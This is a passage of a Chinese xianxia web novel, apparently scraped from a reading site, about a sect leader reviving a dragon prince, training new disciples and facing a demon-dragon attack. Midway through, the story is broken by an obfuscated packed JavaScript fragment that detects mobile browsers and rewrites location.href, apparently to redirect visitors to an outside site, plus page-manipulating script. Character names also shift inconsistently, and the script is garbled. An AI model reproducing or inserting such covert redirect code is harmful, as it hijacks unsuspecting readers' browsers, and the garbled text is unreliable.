龙游蓝无语片刻,实在忍不住问:“你是不是早就认识大殿下?可我之前跟在大殿下身边,不记得见过你?” 朝渡:“你看,又忍不住问了,刚才我怎么说的?” 龙游蓝尴尬笑了两声:“这谁能忍得住啊?难道是……”他眼睛一转,想起了一招激将法,“难道是你暗恋大殿下?” 朝渡确实也没忍住——没忍住白了他一眼,不想再搭理他一个字。 这边魂魄还在融合,大约还得好一会。她先把上午招人时摆的桌子又摆了出来,一挥手,刚才四处飞溅满屋的龙鳞都飞回到桌子上,整齐叠在一起。 龙游蓝这时候才回过神意识到这些龙鳞来自谁,他心疼不已,咬牙切齿:“他们居然还把殿下的鳞片都拔了!他们到底为什么这么恨殿下啊?!” 朝渡叹道:“嫉妒是件很可怕的事。龙鸣玄算得上妖族第一天才吧,修为卓越博学多识,偏偏还有个温润如玉的好性格,从不恃才傲物,在妖族可谓人人称赞,名声极好。” 龙游蓝小声纠正道:“在妖族,得叫妖妖称赞。” 朝渡:“好,妖妖称赞。除此以外,他还能名正言顺地继承龙王甚至是妖王之位,有人,不,有妖比不过他,还想不开,觉得都是他遮住了自己的光,觉得他就是罩在自己头顶的最大阴影,觉得只要没有他,自己就会拥有一切了。” 朝渡一声冷笑:“痴妖说梦。” 龙游蓝赞许点头,既认同她说的话,也认同她的用词。 随后,朝渡取出了虚实相生卷,将手掌覆了上去,两条小鱼忙碌起来,飞快地在画卷上勾勒出一个温润俊美的男子模样。 龙游蓝凑上前,看清画卷上人物后惊呼:“这是殿下的人形!!你果然百年前就认识殿下!!!” 朝渡没说话,将灵力注入虚实相生卷,两条小鱼摇尾游出画卷,荡起水墨涟漪,先在地上“画”了张榻,又在榻上以黑白二色“画”出了他的身躯。 更多的灵力涌入画卷中,榻和这具躯体逐渐有了更多颜色,躯体的脸颊开始红润,身上衣物染上天青色,一切都是如此逼真——除了没有呼吸。 朝渡收了手,垂眸望着这具躯体,轻叹:“我如今只能造出花鸟虫鱼之类的简单活物,还造不了真正的人躯,其玄妙我还未完全参透。这具躯体,或者说皮囊,只能维持一个月,一个月后躯体内的灵力就会用尽。” 龙游蓝按住自己的心脏,惊恐问:“殿下会死?!” 朝渡淡淡笑道:“本来也没活,不过需要我重新注入灵力。” 龙游蓝瞬间放松下来:“哦哦,那就麻烦你了!你真是个善良的仙人!” 朝渡无奈地看向他:“这意味着,他的命一直捏在我手里。” 龙游蓝:“……哦哦!那这可怎么办?善良的仙人啊,再给我一次明示吧!” 朝渡被他的语气逗笑了,提醒道:“答案我早就告诉过你了,你每天多少也动动自己的脑子,别光锻炼爪子。” 龙游蓝嘿嘿一笑,搓了搓爪子,努力思索:“之前,之前……想起了!要去龙宫拿药对不对?” 朝渡欣慰点头:“我最多再给他续一个月,两个月的时间,从龙宫里拿到海灵贝和其中的珍珠,二者缺一不可,你想想办法。” “好,想办法。”龙游蓝努力转动自己的脑瓜子,朝渡看向已经基本融合完毕的魂魄:只需要这么短的时间,他却等了百年。 她托起他的魂魄,俯身放在已经造好的躯体的额头上,魂魄完全没有抗拒,乖巧地缓缓融了进去。 朝渡托着他的头抬高了一些,给他喂了一粒隐有星光的蓝色丹药。 龙游蓝好奇问:“这是什么丹药?一看就是好东西。” 朝渡将他的头放平,解释道:“补魂养魄丸,他的魂魄很疲惫,受损有着严重,这药能帮他休养恢复,早日醒来。” “还有这种好东西!肯定很珍贵吧。”龙游蓝看着朝渡手中的瓶子两眼放光,“能不能多喂点给殿下呀嘿嘿,你不知道,龙宫里珍宝可多了!等殿下回宫,你想要什么随便拿!或者你想要别的什么,我都想办法给你弄来!” 朝渡摇头,直接翻转瓶子瓶口朝下:什么也没有落出来,里面空空如也。 “炼丹的星凝灵芝千年才长成一株,世上仅此一颗,无价可买,不过这一颗足够修补他的魂魄了。” “这么珍贵?!”龙游蓝倒吸一口凉气,充满感激地望着朝渡,“这次真是谢谢你了,你帮了这么大的忙,我该怎么报答……以后有需要我的地方,你只管叫我,哪怕需要我豁出命我也去!” 朝渡笑了笑:“不至于不至于,嗯,你就当是他以前救过我,这次我救他,算扯平了。” “这样吗?”龙游蓝狐疑地看着朝渡,“真是这样的话,你怎么不早说?你这是刚编的吧?!” 朝渡“啧”了一声:他还真开始动用他的小脑瓜了,不要在不该聪明的地方这么聪明呀,都不好骗了。 “总之,不需要你和他的报答。另外,这几日,你最好寸步不离地守着他,别让别人靠近,尤其是那个良玥,我觉得他有问题。” 龙游蓝诧异:“你既然觉得他有问题,怎么还把他带到山上?” 朝渡露出狡黠的微笑:“以后你就知道了。” 龙游蓝想了片刻,决定放弃思考:“行吧,反正你们这些脑子灵光的聪明人总是能想很多想很远,以后你负责用脑子,我负责用爪子就行了。” “我看你想得也挺远。”朝渡笑着离开了小楼,来到了湖边小亭里,先准备好了给几个新弟子的礼物,随后用虚实相生卷准备好一桌美食和烟火。 接着,她倚在栏杆上,借着山顶的飞鸟的眼睛,盯着新弟子们的一举一动,尤其是良玥的动作。 他不但是冲着另一个朝渡来的,路上,他对龙游蓝也很有兴趣,他究竟是谁派来的?有什么目的? 到了傍晚,朝渡点燃烟花,不一会,四个人一起出现在了凉亭外的垂柳下。 朝渡打量了一下四人,笑道:“看起来你们相处得很愉快,来,每人奖励一个礼物。朝渡,你先来。” 另一个朝渡有点惊讶:“还有我的?” 朝渡理所应当地点头:“当然,今天你辛苦了,还帮了我大忙,而且今天是仙隐宗第一次招到弟子的大日子,当然有给副宗主的礼物。” 朝渡张开手掌,掌心中躺着一枚精巧的粉色护身符:“有它在,以后你遇见危险时,我能随时来到你身旁,一定要随身佩戴哦。” “谢谢你!”另一个朝渡懂得她承诺的份量,以及这枚护身符的重要,郑重接过护身符,先仔细放在了袖子里,打算等过会晚宴结束了,就在衣服靠近心口的位置缝个小口袋,专门用来装它。 “然后是岁喜。”朝渡取出了一个小盒子,打开后,里面是一枚莹润的金色丹药,“猜猜看,这是什么?” 岁喜上前看了好一会,无奈摇头:“抱歉宗主,我实在不认识。” 朝渡注意到其他人的表情:另一个朝渡和苏刺明显是见过,有趣的是,良玥似乎也认识,不过按他所说,他在山中养病多年,或许也有见过的机会。 朝渡不再故弄玄虚,直接揭晓谜底:“是延寿丹,这一颗可以延寿十年。” 岁喜:“!!!”她的眼睛瞬间变亮。 “这这这,这太贵重了……”她的声音和手都在颤抖,这是她如今最急需的,是之前想都不敢想的延寿丹。 朝渡将盒子直接递到她手中,笑道:“这是仙隐宗大弟子应得的,吃下吧。” 岁喜颤抖着手地拿起这枚金色丹药,放入口中。丹药入口即化,她能感受到,只是眨眼间,她的四肢似乎都变轻变暖了,头脑思维也变得轻快了一些。 另一个朝渡惊讶道:“白发都变少了!” “真是谢谢宗主,我,我万万没想到……”岁喜想给朝渡跪下,朝渡赶忙把她扶起来:“不必,日后好好修炼,多把握机缘,你的寿命可不止这十年。” 岁喜泣不成声地点头。 朝渡拍了拍她的肩,又看向良玥:“接下来是你了,要不要猜猜给你准备的礼物是什么?” 良玥玩笑道:“总不会是一面鉴心镜吧?” 朝渡微微扬起嘴角:“回答……错误!给你的也是一枚护身符哦。如果你遇到危险,我也可以随时出现在你身旁。”不过,当他不是遇见危险,而是创造危险时,这枚护身符也可以要了他的命。 良玥接过蓝色的护身符,似乎很高兴,眼睛亮亮地望着朝渡:“宗主如此关心弟子,弟子实在感动,有这枚护身符在,弟子怕是要百岁无虞了。” “百岁都不够,得千岁无虞。”朝渡笑眯眯地拍了拍他的肩,“一定要随时佩戴呀。”这枚护身符还有定位作用,可以随时知道他的动向。 “一定一定。”良玥眼睛愈亮,笑意愈深。 朝渡满意点头,又看向苏刺:“要猜吗?” 苏刺目光灼灼,势在必得:“我猜是重剑和剑法。” 朝渡直接鼓掌:“完全正确!”她张开手,右手中化出一柄重剑,与无怜重剑看起来一模一样,左手中则是一本重剑剑法。 “此剑是无怜重剑的仿品,你可先用它练习,日后遇见合适机缘,再另行更换。此剑法名为破晓,由苏家先祖所创,是……我的好友曾经分享给我的。”朝渡与苏刺对视,同时会心一笑。 苏刺接过剑与剑法,轻抚剑身,叹道:“其实他把无怜重剑的真品送给我了,但是我留到那里了。一是因为不想再与他有什么联系,二是因为,他是像送个玩意一样随手送给我了,而不是发自内心觉得我会用那把剑,我配得上那把剑。日后,我会用自己的实力,名正言顺得到那把剑。还有这本苏家祖传剑法,我等了百年了……”苏刺将它紧紧握在手中,嗓音微颤,“百年了,我终于能读到它了。” 朝渡微笑:“笼子困不住飞鸟,期待你自在翱翔九天的那日。” 苏刺笑着望向夜空:“是呀,你看天空,多辽阔。”说着,她望向另一个朝渡,两人相视一笑,一起望向天空中的无边繁星。 朝渡笑吟吟地看了会,劝道:“好啦,别干站着了,快来吃饭吧,边吃边聊。” 几人落座,烟花照彻长夜与几人的酒杯,梅花酿不醉人,梅花酥更不醉人,繁星与细柳,湖光和山风都不醉人,可人已醉已尽欢。 醉时,几人聊起自己的过往,唯有朝渡一言不发。 “因为懒得撒谎,所以干脆不说了,宗主嘛,总是要有点神秘感的。”朝渡笑吟吟道。 良玥追问:“那宗主,你跟朝师姐是什么关系?这个可以说吗?” 朝渡笑着眯起眼睛:“是亲姐妹哦。” 另一个朝渡:“噗,那你是姐姐?” 朝渡开始梦到哪句说哪句:“我是妹妹吧?一直当姐姐好无聊啊。要不这样,以前算我姐姐,从今往后,你是姐姐,咱们轮着来当姐姐,要是哪天你不想当姐姐了,我们再换一换。” 岁喜咂舌:“还能这样算?” 朝渡哈哈笑道:“反正同胞出生嘛!其实也分不清个先后,谁当都一样。” 宴会结束时,几人尽是不舍。 “好久没有这么开心过了。”岁喜感慨道。 良玥赞同:“我也是,山中十年,不如今夜片刻。” 另一个朝渡又给自己倒了一杯梅花酿,笑吟吟道:“今夜真是畅快。” 苏刺与她干杯:“真不想结束,不过,明天会更好的,对吧?” 朝渡点头:“当然,好啦,先各自回去休息吧。明天日出时分,到东崖集合,然后正式开始修炼!” 几人渐渐散去,最后只剩两个朝渡。 另一个朝渡扶着额头,有些晕乎乎的,同朝渡商量:“今晚可能酒喝多了,我想睡会可以吗?” 朝渡失笑:“当然可以,快去吧,需要我扶你回去吗?” 另一个朝渡缓缓摇头,摇摇摆摆地站起身:“没事,我自己可以,我的小楼就在旁边……” 朝渡借 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漫天烟花下,少年的傅不辞紧紧握住她的手,眼中倒映着她,郑重许下诺言:往后余生会保护好她,还要和她一起保护修仙界。 他做到了。 她与他一同切磋剑法,彼此鼓励,一同前往琥珀境完成悬赏,收获满满,一同执行任务斩妖除魔,无论何种危险境地,相握的手不曾放开,一同参加各种比试,共同提升实力…… 闲时,月下花前,他抚琴她舞剑,身影倒映在彼此眼中,比月光更动人,比花香更缠绵。 偶然一整理,几年来彼此情书写了几箱子,再读一遍仍会脸红心跳不止,嘴角压都压不下来,没办法,只好提笔再写一封新信,书不尽的相思,言不尽的幸福。 她与他是恋人,是知己,是对手,是战友……是彼此心口上最信任最重要最甜蜜的一部分。 可他变了。 是从什么时候开始的呢?从他成为内门弟子?从他成为长老? 他越来越忙,应酬越来越多,与她相处的时间越来越少。 她心疼他,她想帮他分忧,她愿意帮他实现他越来越大的目标,她不想眼睁睁看着两人渐行渐远,不想与他无话可谈。 虽然代价是她停滞不前的修为,是她忘掉自己曾经的目标,是她丢掉她的剑,送走陪伴她多年的早起早睡。 但他还是忘了。 青云仙宫中,多少个辗转反侧难以入眠的夜。 看不到夜的尽头,等不到想见的人。 只有披着他皮囊的怪物偶尔同她说一两句话。 怎么会过成这样的? 还要再熬多久? 她感受时间和生命一起流失,恍惚中甚至分不清自己是坐着还是躺着,活着还是死了。 夜啊,怎么会这么长,怎么会这么难熬? 可是就算到了白天,还是见不到他,还是会迎来新的漫长的夜…… 救救我,救救我,真的熬不住了……究竟何时才是尽头?何日才能解脱? 求求了,拜托了,谁来救救我,救救我吧,救救我啊!!! 要溺死在这冰冷的夜里了…… 意识模糊中,深深绝望之中,她看到了一面镜子,镜中人有着和自己一样的面庞。 但她有种直觉,那不是她,不,或者说不完全是她,却与她有着千丝万缕的联系。 镜中人敲了敲镜子,仿佛敲门。 然后她从镜中走了出来,拉住她的手,温暖而有力。 “醒醒,该看今天的日出了。” “今天的日出?”茫茫然中,朝渡眼前浮现起了一片金色,蓬勃的金色,充满生机与活力的金色。 她蓦地握住她的手,迫切地,几乎喘不过气地祈求道:“我要看日出!我要看日出!我不要留在夜里!带我离开这里,带我看日出吧!” 每日,太阳都会重新升起。 千千万万次,让自己重新看到日出,而不是溺死在那冰冷的长夜。 “那就醒来。” 一次又一次,从噩梦中从黑暗中醒来。 另一个朝渡蓦地惊醒,如溺水者般大口呼吸着,好一会才回过神,发现自己的脸上全是泪,身体冰凉,只有手中握着的另一个自己的手如此温暖。 另一个朝渡猛地扑到朝渡怀里嚎啕大哭:“吓死我了,我梦见了过去,我还以为我还被困在青云仙宫,那种感觉太可怕了,比死都可怕,比入魔都可怕,那些年我是怎么过来的……” 朝渡:“比入魔都可怕?” 另一个朝渡认真点头:“真的,现在虽然入魔了,但至少让我感觉我还活着……” 她大口呼吸着,捧起被褥上碎掉的墨色冰块,用掌心紧紧贴着冰块感受冰的温度,笑得天真单纯像个孩子:“我还活着,我还活着,你看,我还能感觉到冰凉,哈哈哈,我还活着……这冰,比青云仙宫暖和多了啊……” 朝渡怜惜地抚摸她的头发,她这些年,实在难熬。 另一个朝渡呆呆地看着手中的冰,直到彻底把冰捂化,才松开手,回过神:“噩梦真的结束了,对了,你是怎么知道我做噩梦的?” 朝渡:“你的噩梦,引起魔气爆发,护身符提醒我了,我就来看看。我过来时,你整个人几乎都被冻在冰里了,那冰吸收了太多魔气,几乎变成墨色,镯子都快要撑不住炸掉了。” 另一个朝渡倒吸一口凉气:“刚才居然如此凶险,我这,以后是不是最好别睡觉了?” 朝渡:“不必,你今晚的噩梦,也许是偶然,也许另有缘故,不必因噎废食,以后想休息就休息,戴着护身符就好,我一直在。” 另一个朝渡点了点头,听她说话就有种安心感。 朝渡又问:“你之前跟别人说过‘救救我’之类的话吗?” 另一个朝渡想了想:“好像没有,为什么这么问?” 朝渡若有所思:“因为我来到这个世界的机缘,似乎就是你刚才在梦中喊出的那句‘救救我’,我是顺着这个声音才来到这个世界的。”朝渡笑了笑,“有趣的是,我来到这个世界之后,你到现在才喊出这句话,也就是说,我曾在过去听到了来自你未来的声音。” 另一个朝渡:“!!!” 她欣喜又困惑地问:“这是怎么做到的?” 朝渡摇头:“我也不知,这世上还有太多玄妙之事,难解之谜,对了,你感觉如何了?” 另一个朝渡扶着头坐起来:“好多了,就是还有点晕,还有多久日出?我想去看。” 朝渡:“应该快了。” 另一个朝渡雀跃地站起身:“那现在就去吧!先看星星,再看日出,也是妙事,还能吹吹山顶的风!咱们仙隐宗宗主好,弟子好,景好风好,湖好花好哪都好!” 朝渡看着她亮晶晶的眼睛,知道她算是彻底从刚才那场噩梦里醒来了,这才放下了心。 朝渡给她多披了件衣服,与她一同前往崖边,看繁星,等日出。 天空刚露出鱼肚白时,仙隐宗的三个新弟子也都来了,每个人看起来都干劲满满。 朝渡先给几人分组:另一个朝渡和岁喜一组,进行实战练习,良玥和苏刺一组,由她亲自教授剑法。 岁喜有点犹豫:“宗主,我基础比较差,要不还是先跟您学学剑法?” 朝渡笑道:“不急,你先去实战试试,我看看你的基础,然后缺哪补哪就好,这样最省时间。” 岁喜感激地连连点头,她现在最缺的就是时间。 接着,朝渡让几人打坐静心,用心观察感受周围的一切,比如日出与云海。 朝渡观察几人的灵力积累速度,发现表现最优秀的竟是良玥。 接下来,朝渡化出两个分身,每个分身负责一组。 而她自己的本体则继续修炼,丝毫没有懈怠。 到了晚上,她抽空去看了眼龙游蓝那边的情况:龙鸣玄还没醒,但总体恢复不错。 龙游蓝有些焦虑:“殿下要多久才能醒啊?” 朝渡安慰道:“不急,你一百年没睡,睡一天够吗?” “那我得睡个十年。”龙游蓝稍微安心,又担心起另一个问题,“那殿下一个月内能醒吗?要是殿下一直不醒,我怎么去龙宫拿药?” 朝渡观察了片刻他的魂魄情况,确定道:“十天内能醒,补魂养魄丸果然有用。” 第十天,朝渡照例去查看情况。 39. 殿下苏醒 龙鸣玄还没有醒,龙游蓝眼巴巴地看着她:“不是说十天内殿下能醒吗?” 朝渡检查了一下龙鸣玄的情况,随后沉默良久。 龙游蓝忐忑问:“什么情况?问题很严重吗?你别不说话啊,别吓我……” 朝渡摇头:“恰好相反,他恢复得很好。” “啊?那为什么殿下还不醒?”龙游蓝不解。 朝渡望着榻上昏迷不醒的人,又沉默片刻,才缓缓开口:“或许是因为,他不想醒。” 龙游蓝懵住:“殿下为何不愿意醒?” 朝渡垂眸注视着他的脸,只是过了十天,这张脸竟有了些许疲惫的感觉,这具身体的状态与他魂魄的状态越来越接近了。 她越来越确定自己的猜测,轻轻叹道:“因为他很累,活着很累,死了也累,现在的他也许只想求一个永恒的安宁。” “永恒的安宁……?”龙鸣蓝呆住,思索了好一会,摇头呢喃道,“我不理解,你说殿下很累,殿下死后被折磨很久,确实很累,这我还能懂,可殿下活着的时候没那么累吧?殿下总是看起来很轻松,游刃有余的样子啊?对了,殿下经常笑呢,无论何时见到太子,他都是微笑着的,殿下跟累不沾边吧?” “那只是看起来。”朝渡微微摇头,“他在龙宫并不开心。” 龙游蓝反驳道:“胡说,你了解殿下还是我了解殿下?而且你仔细想想,殿下怎么会不开心呢?他可是龙族太子,是未来的龙王与妖王,而且他天赋那么高,修为那么卓越,谁见了不夸,殿下能有什么不开心的?” 朝渡垂眸望着龙鸣玄,心绪复杂:连他身边的亲近下属兼朋友都不了解真实的他,他的面具到底戴得有完美?他在龙宫时到底有多孤独?他得有多绝望,连醒都不愿醒? 朝渡又问:“你想想,他有讨厌的人或者妖吗?” 龙游蓝努力想了片刻,摇头:“没见过,好像没有。” 朝渡:“那你有吗?” “有!当然有!”龙毫游蓝不犹豫,“我现在最讨厌的就是龙鸣渊!以前我是最讨厌族里那些老古板们,但他们现在跟龙鸣渊完全没法比,龙鸣渊都把他们衬可爱了。” 朝渡轻笑,眼中却没有一点笑意:“那他会没有吗?谁都有自己讨厌的人,他只是藏着不说罢了,他也讨厌族里那些老古板,讨厌总是把他跟别人比来比去的人,他讨厌的人其实有很多,只是他不说。” “这、这样吗,好像也有道理……等等!”龙游蓝狐疑地看向朝渡,“我从小跟着殿下长大都不知道这些,那你是怎么知道的?” 朝渡:“唔,说起来你可能不信,是他亲口告诉我的。在很久很久之前,不过他现在应该已经不记得我了,我跟他……算是梦中相遇。” 龙游蓝有点懵:“梦中相遇?我还是头一次听说。那现在怎么办,真的就让殿下一直这样睡下去吗?” 朝渡沉默片刻,点头:“这次,我想由他自己做选择,他想睡便睡,仙隐宗会一直给他留片安眠之地。” 龙游蓝急迫道:“可是殿下要是一直睡下去,谁去救被囚的先王和先王后?谁去给被龙鸣渊杀死的弟兄们报仇?谁来统领龙族啊?!” 朝渡闭上了眼:这确实是他身为龙族太子逃脱不了的责任,在他曾经说只想做千钧剑中一剑灵时,她也这样问过他。 他的回答是:“太子已经死了,如今在这里的只是我……难道我哪怕还剩一缕魂魄,都要去做那太子吗?你们眼中的我,究竟是我本身,还是太子那个身份?” 他近乎绝望地问她。 朝渡那时无言以对,但刺杀龙鸣渊的计划已经定下,总归要去一趟的。 她带着剑,与剑灵沉默但默契地除掉了龙鸣渊,救出了先王与先王后。 他再次向她请求:“做剑灵的这段时日,是我最开心的一段时光,能让我继续做你的剑灵吗,别告诉他们我的魂魄还在好吗?” 朝渡:“……可先王与先王后重伤虚弱,龙族没有德高望重的新龙王继位容易混乱,这会波及妖族甚至是修仙界的,后果不堪设想,只有你能避免这场混乱的发生。” 他苦涩问:“你既是为了龙族,还为了妖族和修仙界,却独独不能为了我是吗?便不能当我已经死了吗?我已经死过一次只剩魂魄了啊!” 朝渡沉默片刻,垂眸轻声道:“此外,我希望我的剑中,存在的是一个真正的剑灵。”而不是一个撒谎瞒我二十年的骗子。 “……我明白了,你终是不肯原谅我。” 他是怀着怎样的心情离开剑,回到龙宫的呢? 朝渡睁开了眼,下定了决心:“这次我不会劝他,也不会想办法让他醒来,但你要是有本事让他醒来让他心甘情愿去复仇,我也不拦你。” 龙游蓝:“……我哪有这本事啊?!”他几乎要哭了。 朝渡摇了摇头,既然下定决心便不再犹豫,转身离开了房间:“这栋楼,仙隐宗永远为他留着。” 龙游蓝急迫道:“你别走啊!我真的没有这本事啊!” 朝渡还是离开了,龙游蓝急得原地团团转,忽然听到一个熟悉却沙哑的声音。 “她是谁?” 龙鸣玄不知何时睁开了眼,望向朝渡离开的方向。 “殿下!殿下你醒了?!”龙游蓝猛地揉了揉自己的眼睛,惊喜道,“我不是在做梦吧?!” “不是梦。”龙鸣玄艰难地露出微笑。 龙游蓝愣住,想起夕溯刚才说的话,犹豫道:“殿下您要是觉得累的话,就别笑了……” 龙鸣玄:“……嗯。小蓝,刚才那名女子是谁?” 龙游蓝也看向门口:“她是仙隐宗的宗主,叫夕溯,她好厉害啊,她是我见过的人里面最厉害的一个!不但打架厉害,其它方面也很厉害,还有很多厉害法宝和厉害丹药!这次全靠她救了您!” “夕溯……”龙鸣玄缓缓念着这个名字,“我不记得我见过她?而且我从未听说过梦中相遇。” 龙游蓝诧异:“殿下你那时候就醒了?!” “唔。”龙鸣玄耳朵尖红了一点,“那时候还没完全醒,只是能隐约听到你们在说什么。”然后听着听着就越来越清醒了……绝不是醒了但故意装睡偷听! 幸好龙游蓝也不在意这个,他心情复杂地问:“殿下,她说的都是真的吗?您在龙宫时真的很不快乐很累吗?您也讨厌那群老古板吗?” 龙鸣玄缓缓点头:“但我不记得我告诉过任何人。” 龙游蓝追问:“那妖呢?” 龙鸣玄失笑:“也没有告诉任何妖。” 龙游蓝总算开心了一点:“我就知道,殿下不告诉我的事,也不会告诉别的妖……她除外,她真的太特别了,我从未见过像她那样的妖或者人。” 龙鸣玄赞同地点了点头。 龙游蓝抿了抿唇,欲言又止,最终还是忍不住问了出来:“那殿下,你会去救出先王和先王后吗?会去帮兄弟们报仇吗?会去成为龙族的新王吗?” 龙鸣玄垂眸沉默片刻,缓缓道:“我会想办法救出父王母后,想办法除掉龙鸣渊为被他杀害的龙报仇,但我不想成为新王。” 龙游蓝欲言又止,脑海中反复浮现夕溯的话,最终他笑道:“好,不当就不当!殿下你先好好休息,我去把你醒来的事告诉她?” “我也去,她是我的救命恩人,理应我去见她。”龙鸣玄微微侧身,想坐起来,但手臂没什么力气,连撑着他坐起来都艰难。 龙游蓝连忙扶住他:“殿下你刚醒,身体还弱,不去也行,她肯定理解的。” 龙鸣玄又试了一次,还是坐不起来,只好无奈道:“那就拜托你帮忙转达我的谢意了。” “放心!交给我!”龙游蓝直接从窗户里蹿了出去,飞向夕溯所住的湖边小楼。 路上,他眼角余光发现旁边一大片空地里,两个夕溯正带着两个新弟子在练剑。 “怎么有两个她?这么可怕的人居然有两个?”龙游蓝嘀咕着,落到了两个夕溯中间,“你们……谁是夕宗主啊?” 两个朝渡的分身一起回头,一起道:“都是,你怎么来这了,出事了吗?” 两边的苏刺和良玥也都停下剑看向他。 龙游蓝连忙道:“没有没有!殿下醒了!让我来跟您道声谢!” 良玥眼睛一亮。 负责带良玥的朝渡分身瞥了他一眼,另一个分身则追问:“这么快?刚才不是还没醒?” 龙游蓝“嘿嘿”一笑:“这个嘛……殿下好像是听到了我们的聊天,然后慢慢就醒了。但是醒来后殿下动都动不了,翻身都费劲,这是什么情况?能麻烦你去看看吗?” 两个分身思索片刻,分别答道:“大概是还不适应这具身体吧,也算正常。” “你扶着他慢慢走一走,三天内没有好转再去找我们的本体。” “本体……?”龙游蓝有点懵,“本体在哪?” 两个分身一齐指向湖边一栋小楼。 龙游蓝连连点头:“好,我记住了。”然后他径直向湖边那栋小楼飞去。 两个分身对视一眼,纷纷摇头,看向各自负责的弟子:“不必管他,来,继续练剑吧。” 湖边小楼中,朝渡坐在露台上,吹着山风迎着湖光,继续修炼。 龙游蓝落到她身旁,她睁开眼淡淡瞥他一眼:“不是说了三日后没好转再来找我吗?现在来是做什么?” 龙游蓝笑得露出了小虎牙:“我感觉还是跟本体聊方便一些,嘿嘿,殿下醒了,你不想去见见他吗?” 朝渡沉默片刻,微笑摇头:“不必了,你照顾好他就行。” “你花这么大力气把殿下救活,怎么连见都不想见?”龙游蓝深深不解。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16718678|187168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 朝渡望着波光粼粼的湖面,轻轻叹气,不自觉想起了在原本世界与他最后一次见面时的场景: 他为龙族新王,她是新任的仙盟之主。 他与她戴着各自的微笑面具,说些客气礼貌的问候,在万众瞩目之中,分别代表妖族与修仙界,共同订下盟约。 盟会后,宴会上举杯相碰,眼神却不敢相碰。 酒过三巡,仍是沉默。 这点酒,对于她与他的修为而言,谁都醉不了,于是谁也不开口。 数日后,妖族使团要启程回妖族,她按照礼节为他设宴饯行。 此去一别,不知何日会再见。 他终于还是先开了口,用只有她能听到的声音轻轻道:“当王比当太子轻松太多了,没有想得那么累。” 朝渡松了口气,答道:“那便好。” “真是多谢你把我推向王位了。” “不客气。” 他沉默片刻,终是忍不住道:“你没听出来这都是气话吗?” 朝渡:“…………”虽然真的没听出来,但听出来又能怎么样呢? 她举起酒杯,望着摇晃不息的琥珀色琼浆,轻轻叹道:“陛下,你有你要担负的责任,我有我想求的仙道,我们终究殊途。” 他举杯轻碰她的酒杯,望着她的眼睛道:“可我仍想求个同归。” “……只要妖族不背弃盟约,自能与修仙界殊途同归。” “我想要的是,与你同归。” 他分明是个聪明妖,分明早已明白,此时却仍苦苦挣扎,不愿放下。 她答:“朋友亦可同归。” 他自嘲一笑,将杯中酒一饮而尽,想醉难醉。 而后是沉默,长久的沉默,直到他带着使团离开。 “没什么好说的。”朝渡抬起眼眸,对龙游蓝道,“救他是为了报恩,现在两清了,其它没什么好说的。对了,去龙宫取药的事,你有什么头绪吗?” 龙游蓝挠了挠头:“我的头还没什么绪。” 朝渡轻笑:“你的‘绪’很快来了,如果我猜得不错,三天之内就到。” “三天之内?这是个什么‘绪’?”龙游蓝赶忙问,“需要我做什么?” 朝渡:“是报仇和救人的‘绪’,磨好你的爪子,准备打一架大的。” 龙游蓝顿时搓起手兴奋起来:“交给我吧!” 朝渡提醒道:“别表现得太明显,我们最好装作不知道,除了龙鸣玄,别告诉任何人。” 龙游蓝不断点头。 朝渡看他一脸兴奋难掩的模样,无奈摇头:“你这几天还是少出门吧。对了,再帮我借一件东西,我需要他那对龙角,唔,可能需要把它炼化,但我用后会尽力把它复原的。” 龙游蓝:“这个需要跟殿下商量一下,但我猜殿下会同意的。” 龙游蓝说罢离开,不过片刻,就带着一对青玉般的漂亮龙角回来了,豪爽道:“殿下说直接送您!不用还了!” 朝渡:“……倒也不必,我跟他两清了,他不欠我什么,而且龙角对龙族意义特殊,我不能收,等用完我就还。” 龙游蓝小声嘀咕:“你这人还挺较真,殿下都说送了,你收了就是,还要复原再还多麻烦,龙角虽有特殊意义,但反正也没外人知道。” 朝渡瞥了他一眼,他立刻收声,换了话题:“话说你打算用龙角做什么?” 朝渡眨了眨眼:“秘密,到时候你就知道了,好了,请回吧,我这边要准备的有点多。” 待龙游蓝离开后,朝渡回到屋中,取出龙角与千钧剑并排放在一起。 龙族龙鳞坚硬无比,且有龙气护身,寻常刀剑根本伤不了半分。 千钧剑虽锋利非凡,但想击破龙鳞与龙气需要消耗大量灵力,这偏偏是她现在最缺的。 若能将龙角融合进千钧剑中,威力最大,且最省灵力,但她对这种方法有阴影。 或者是将龙角融化后覆在剑外?但这样可能会影响千钧剑本身力量的发挥。 如果做成镂空设计,仅覆盖部分剑刃,也许影响会小点?或者干脆用龙角做柄新剑? 朝渡思索着,天青色龙角在她手中流动如温润丝滑的泉水,时不时凝成各种兵刃的形状。 …… 次日一早,朝渡照例带着另一个朝渡和几个弟子在东崖观日出。 狂风骤起,云海陡然变得乌黑,汹汹翻涌如海啸,遮蔽了日光,咆哮嘶鸣着扑向崖上众人,但悉数被挡在了百珍缀星伞之外。 “这、这是什么?!”良玥惊呼。 苏刺蹙眉:“魔物,好几个魔物,很强的魔气。” 岁喜诧异:“为何会出现在这里,这是冲着我们来的吗?” 朝渡望着乌黑云海中隐约可见的几条龙的身影,轻笑:“哎呀呀,来得挺快,连夜来的吧?” 40. 龙鸣渊 数条魔龙来势汹汹,朝渡轻松道:“今天看不了日出了,你们去练剑吧。” 几名新弟子略有迟疑,另一个朝渡小声问道:“今天这情况,还练剑?” “练呀,不耽误。”朝渡微笑着活动了下手腕,“去吧,这些家伙,我一个人就能收拾。” 另一个朝渡见她淡定从容的模样,也安了心:“那我们先过去练剑了,有需要就叫我。” 朝渡颔首。 良玥却道:“且慢,机会难得,不知弟子能否在此观摩宗主除魔的英姿?” 岁喜没说话,但明显也是想看的。 苏刺劝良玥道:“我们还是按宗主的安排去练剑吧,宗主应该另有考量。” 朝渡观察苏刺和另一个自己的神色:她们两人应该其实也是想看的。 她思索片刻,改了主意:“你们想留下来看也行,应该会对你们有所启发。” 几人眼睛全都亮了。 “夕宗主——!”龙游蓝的声音遥遥传来。 